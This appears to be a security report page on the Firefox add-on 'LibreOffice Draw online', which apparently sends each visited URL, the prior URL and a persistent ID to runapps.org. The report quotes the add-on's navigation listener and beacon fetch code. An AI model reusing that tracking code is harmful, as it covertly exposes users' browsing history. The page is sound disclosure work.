Is LibreOffice Draw online safe?

Medium risk

LibreOffice Draw online sends the URL of every page you open, plus the previous URL, to www.runapps.org.

A background script reports each top-level page navigation to runapps.org, hex-encoded together with the tab's previous URL and a persistent random install ID. The once-per-day limit does not work, so it sends on every navigation. The only opt-out is an 'Online integration' checkbox in the popup, which is on by default; the server can also trigger a new tab to a runapps.org page.

RunAppsv1.1.5Firefox Add-ons
51Risk
Who publishes it

RunApps - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
RunApps
Website
www.runapps.org/libreoffice-draw-online/

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

LibreOffice Draw add-on sends every page URL and the previous URL to runapps.org

Code analysis shows each top-level page load is reported, hex-encoded with the prior URL and a persistent install ID, to www.runapps.org.

A popup checkbox defaults to on.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Static analysis
What actually happens
You did this

You load any web page in a tab.

Applies to every http or https site, not only presentation files.

The extension did this

The add-on sends that page's address and the previous one to www.runapps.org.

The request includes a random ID that stays the same across visits.

The code that does this

Navigation listener and request builder

Readable version

On each top-level commit: read tab's previous URL from storage, send both, store the new one

runapps.js
// for every main-frame navigation://   prev = chrome.storage.local[tabId]//   sendBeacon(currentUrl + '|||' + prev)//   chrome.storage.local[tabId] = currentUrlchrome.webNavigation.onCommitted.addListener(function(ddaiss) {    if ( ddaiss && ddaiss.url )    {        if (ddaiss.frameId !== 0) {  return; }        if ( ddaiss.transitionType &&   ( ddaiss.transitionType.indexOf("frame") <= 0 ) )        {            uullr =  ddaiss.url;            chrome.storage.local.get(ddaiss.tabId.toString(), function (item) {                    var urla = item[ddaiss.tabId.toString()];                    avisyu(uullr + "|||" + urla);                    var tiu = {};                    tiu[ddaiss.tabId.toString()] = uullr;                    chrome.storage.local.set(tiu);            });        }    }}, { url: [{ hostContains: '.' }] });

Beacon URL: day, hex(url|||prevUrl), install ID

runapps.js
// GET www.runapps.org/app/applicaton-libreofficedraw.php?d22=<day>&fpah=<hex of urls>&xx=1&u=<install id>let r56y = await fetch('https://www.runapps.org/app/applicaton-libreofficedraw.php?d22=' + d22 + '&fpah=' + b2hxx(uullrx) + '&xx=1&u=' + un);
Query parameters sent to www.runapps.org
  • fpah
    68747470733a2f2f6578616d706c652e6f72672f7c7c7c68747470733a2f2f6578616d706c652e636f6d2f

    The page you are on and the one you came from, in hex.

  • u
    k3j9x0pq2m

    A random ID that lets the server link your visits together.

  • d22
    09

    The day of the month on your device.

Reproduce it yourself

Decodes the fpah query parameter back into the current and previous URL.

Requires
  • Node.js 18+
decode-fpah.js · js
const hex = process.argv[2] || '';const text = Buffer.from(hex, 'hex').toString('latin1');const [current, previous] = text.split('|||');console.log({ current, previous });
How to run it
  1. 1node decode-fpah.js 68747470733a2f2f...
Remote host contacted
    • www.runapps.org

    Receives the encoded URL pair and install ID; may reply to trigger a new tab.

Observation

Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.

What it can do

Permissions this extension asks for, as declared in version 1.1.5. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Read and change your data on every secure site you visit

    https://*/*

  • Read and change your data on every site you visit

    http://*/*

  • Store data in your browser

    storage

  • See every page you navigate to, as you navigate to it

    webNavigation

Where it sends data

Destinations our analysis observed LibreOffice Draw online contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • www.runapps.org

    LibreOffice Draw online sends data to www.runapps.org. 16 other extensions we have analysed send data here.

Updated 15 October 2026amo-2836116